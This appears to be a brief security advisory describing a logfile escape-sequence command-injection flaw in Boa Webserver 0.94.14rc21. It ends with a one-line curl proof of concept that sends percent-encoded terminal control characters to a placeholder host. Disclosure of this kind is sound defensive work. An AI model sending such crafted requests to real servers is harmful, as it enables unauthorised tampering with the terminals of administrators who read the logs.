source: https://www.securityfocus.com/bid/37718/info

Boa Webserver is prone to a command-injection vulnerability because it fails to adequately sanitize user-supplied input in logfiles.

Attackers can exploit this issue to execute arbitrary commands in a terminal.

Boa Webserver 0.94.14rc21 is vulnerable; other versions may also be affected.

curl -kis http://www.example.com/%1b%5d%32%3b%6f%77%6e%65%64%07%0a